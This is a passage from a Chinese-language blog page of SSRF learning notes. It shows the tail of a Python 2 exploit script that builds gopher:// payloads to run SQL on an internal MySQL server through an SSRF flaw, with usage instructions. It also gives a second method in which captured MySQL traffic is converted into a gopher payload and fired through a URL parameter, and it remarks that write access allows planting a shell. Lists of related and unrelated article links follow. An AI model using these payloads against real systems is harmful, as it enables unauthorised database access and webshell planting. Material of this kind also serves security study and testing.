  193. protocal = Protocal(args.host, '3306', args.user, args.password, args.database)
  194. if args.connect:
  195. protocal.connect()
  196. result = protocal.execute(args.payload)
  197. print '-'*100
  198. print '| sql:',args.payload,'|'
  199. print '-'*100
  200. print 'Result: ',result
  201. print '-'*100
  202. payload = protocal.get_payload(args.payload, 1000, args.verbose)+'\x00'*4
  203. print '\nPayload:'
  204. print ' '*5,'gopher://127.0.0.1:3306/A'+quote(payload)

参数:

  1. -u 数据库用户
  2. -d 数据库名称
  3. -t 指定数据库
  4. -p 指定数据库密码,默认为空,一般默认就好
  5. -P 要执行的 sql 语句
  6. -v 下载执行细节
  7. -c 连接到数据库
  8. --sql 打印生成的 sql 语句

一般用python exploit.py -u 用户 -d 数据库 -P "命令" 就好了,然后用生成的 payload 打就行了,便可以在网页看到数据库命令执行结果

注意这里的操作需要在 SSRF 的地方有回显才行,不然看不到数据库执行结果,但是如果数据库有写权限,那么便可以直接写 shell,不一定要回显

方法二:

在本地创建一个跟目标机器一样用户的数据库例如 test

打开 tcpdump 抓取流量

tcpdump -i l0 port 3306 -w mysql.pcap

登陆数据库并执行命令:

  • mysql -utest -p
  • show databases;
  • exit;

    然后用 wireshark 追踪一下 tcp 流

用脚本转换一下

  1. #!/usr/bin/env python2
  2. # coding: utf-8
  3. import urllib
  4. s = """这里写抓取的 tcp 流数据"""
  5. s = "".join(s.split())
  6. def encode(s):
  7. a = [s[2*i:2*i+2] for i in xrange(len(s)/2)]
  8. return "gopher://127.0.0.1:3306/_%" + "%".join(a)
  9. s = encode(s)
  10. print "[+ local]", s
  11. s = urllib.quote(s)
  12. print "[+ url]", s

用得到的 payload 打就行了,,便可以在网页看到数据库命令执行结果

  1. ?operator=payload

注意这里的操作需要在 SSRF 的地方有回显才行,不然看不到数据库执行结果,但是如果数据库有写权限,那么便可以直接写 shell,不一定要回显

SSRF 跨站请求伪造学习笔记的更多相关文章

  1. CSRF 跨站请求伪造学习笔记

    参考文章: 漏洞挖掘之CSRF CSRF花式绕过Referer技巧 What-是什么 CSRF(Cross-site request forgery)跨站请求伪造.攻击者通过构造特殊链接或者页面,盗用 ...

  2. CSRF(跨站请求伪造)学习总结

    前言 参考大佬的文章,附上地址 https://www.freebuf.com/articles/web/118352.html 什么是CSRF? CSRF,中文名字,跨站请求伪造,听起来是不是和XS ...

  3. Weblogic服务端请求伪造漏洞(SSRF)和反射型跨站请求伪造漏洞(CSS)修复教程

    一.服务端请求伪造漏洞 服务端请求伪造(Server-Side Request Forgery),是指Web服务提供从用户指定的URL读取数据并展示功能又未对用户输入的URL进行过滤,导致攻击者可借助 ...

  4. WebGoat学习——跨站请求伪造(Cross Site Request Forgery (CSRF))

    跨站请求伪造(Cross Site Request Forgery (CSRF)) 跨站请求伪造(Cross Site Request Forgery (CSRF))也被称为:one click at ...

  5. django上课笔记3-ORM补充-CSRF (跨站请求伪造)

    一.ORM补充 ORM操作三大难点: 正向操作反向操作连表 其它基本操作(包含F Q extra) 性能相关的操作 class UserInfo(models.Model): uid = models ...

  6. XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结(转载)

    转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...

  7. CSRF(跨站请求伪造)攻击方式

    一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSR ...

  8. python 全栈开发,Day87(ajax登录示例,CSRF跨站请求伪造,Django的中间件,自定义分页)

    一.ajax登录示例 新建项目login_ajax 修改urls.py,增加路径 from app01 import views urlpatterns = [ path('admin/', admi ...

  9. Web框架之Django_09 重要组件(Django中间件、csrf跨站请求伪造)

    摘要 Django中间件 csrf跨站请求伪造 一.Django中间件: 什么是中间件? 官方的说法:中间件是一个用来处理Django的请求和响应的框架级别的钩子.它是一个轻量.低级别的插件系统,用于 ...

随机推荐

  1. 搭建kubernetes集群

    什么是Kubernetes? Kubernetes(k8s)是自动化容器操作的开源平台,这些操作包括部署,调度和节点集群间扩展.如果你曾经用过Docker容器技术部署容器,那么可以将Docker看成K ...

  2. APP自动化 -- MobileBy

    一.BobileBy源码 selenium中有 By appium就有MobileBy. 二.MobileBy示例 MobileBy就是继承的By,所以,语法基本是一样的.

  3. linux实现shell脚本监控磁盘内存达到阈值时清理catalina.out日志

    想在服务器上写一个shell脚本,在磁盘使用率达到80%时,自动清理掉一些没有用的日志文件,根据这个想法,在生产环境上写了一个以下脚本,按照该流程,可实现在linux环境做一个定时任务来执行shell ...

  4. liunx安装和部署nacos配置中心

    1.下载https://github.com/alibaba/nacos/releases  nacos-server-1.3.1.tar.gz  源码包2.上传到liunx服务器   /usr/lo ...

  5. Html5 表单元素基础

    表单元素 1.定义: 表单是提供让读者在网页上输入,勾选和选取数据,以便提交给服务器数据库的工具.(邮箱注册,用户登录,调查问卷等) 2.表单元素(下拉框,输入框……) 3.表单主结构: <fo ...

  6. 对‘sqrt’未定义的引用

    首先, 引用数学库 #include<math.h> 引用数学库时,要在编译后加上-lm 是每一个都要加!! 如下: gcc su.c -o su.o -lm gcc -g  su.c - ...

  7. MacOS 键盘符号和修饰键说明

    原文链接:https://www.cnblogs.com/exmyth/p/5949192.html   Mac键盘符号和修饰键说明 ⌘ Command ⇧ Shift ⌥ Option ⌃ Cont ...

  8. MacOS下JDK8的安装与配置

    微信搜索"艺术行者",关注并回复关键词"jdk8"获取安装包和API文档资料! 一.安装环节 1.打开网页 https://www.oracle.com/jav ...

  9. Javascript 模块化概述

    模块化的目的 当网站开发得越来越复杂,会经常遇到以下问题: 命名冲突 文件依赖 Sea.js 一个适合web前端的模块加载器,遵守 CMD (Common Module Definition)模块定义 ...

  10. PHP mysqli_thread_safe() 函数

    定义和用法 mysqli_thread_safe() 函数返回是否将客户端库编译成 thread-safe. 语法 mysqli_thread_safe();高佣联盟 www.cgewang.com ...